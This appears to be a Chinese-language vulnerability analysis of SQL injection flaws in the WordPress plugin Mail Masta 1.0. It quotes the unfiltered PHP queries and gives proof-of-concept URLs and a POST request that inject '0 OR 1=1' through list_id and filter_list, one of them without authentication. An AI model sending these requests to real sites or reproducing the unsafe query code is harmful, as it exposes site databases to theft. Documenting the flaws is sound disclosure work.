WordPress Plugin Mail Masta 1.0 - SQL Injection

### 漏洞信息 漏洞名称：WordPress Plugin Mail Masta 1.0 - SQL Injection 插件主页：https://wpcore.com/plugin/mail-masta 漏洞类型：SQL注入 CVE : [CVE-2017-6095, CVE-2017-6096, CVE-2017-6097, CVE-2017-6098] ### 漏洞分析 #### 第一个注入 漏洞存在地址：（没有身份验证） ./wp-content/plugins/mail-masta/inc/lists/csvexport.php 漏洞存在参数：list_id http://my_wp_app/wp-content/plugins/mail-masta/inc/lists/csvexport.php?list_id=0+OR+1%3D1&pl=/var/www/html/wordpress/wp-load.php 我们先来看下csvexport.php: $list_id=$_GET['list_id']; global $wpdb; $mail_subscribers = $wpdb->prefix . "masta_subscribers"; $masta_list = $wpdb->prefix . "masta_list"; $check_sql = "SELECT * FROM $mail_subscribers WHERE list_id = $list_id"; $check_list="SELECT * FROM $masta_list WHERE list_id= $list_id"; $wp_list=$wpdb->get_results($check_sql); $wp_list_s=$wpdb->get_results($check_list); 没有任何过滤就带入了SQL语句从而产生了漏洞。 #### 第二个注入 漏洞存在地址：需要Wordpress管理员 ./wp-content/plugins/mail-masta/inc/lists/view-list.php 漏洞存在参数：filter_list http://my_wp_app/wp-admin/admin.php?page=masta-lists&action=view_list&filter_list=0+OR+1%3D1 我们看下view-list.php: global $wpdb; $list_id = $_GET['filter_list']; $masta_list = $wpdb->prefix . "masta_list"; $masta_subscribers = $wpdb->prefix . "masta_subscribers"; $listdata = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $masta_list WHERE list_id= $list_id",$query)); $list_subscribers = $wpdb->get_var( $wpdb->prepare("SELECT COUNT( `list_id` ) FROM $masta_subscribers WHERE list_id= $list_id AND status=1",$query)); 一样没有任何过滤情况。 #### 第三个注入 漏洞存在地址：需要Wordpress管理员 这是个POST注入 漏洞存在参数list_id 先来看看campaign_save.php: $list_id=$_POST['list_id']; $check_list = $wpdb->get_var("SELECT count(id) FROM wp_masta_subscribers where list_id=$list_id"); 无任何过滤，POST注入 POST /wp-admin/admin-ajax.php?id= HTTP/1.1 ...snip... action=my_action&url=%2Fvar%2Fwww%2Fhtml%2Fwp-content%2Fplugins%2Fmail-masta%2Finc%2Fcampaign_save.php&sender_selected_list_check=check&list_id=1+OR+1%3D1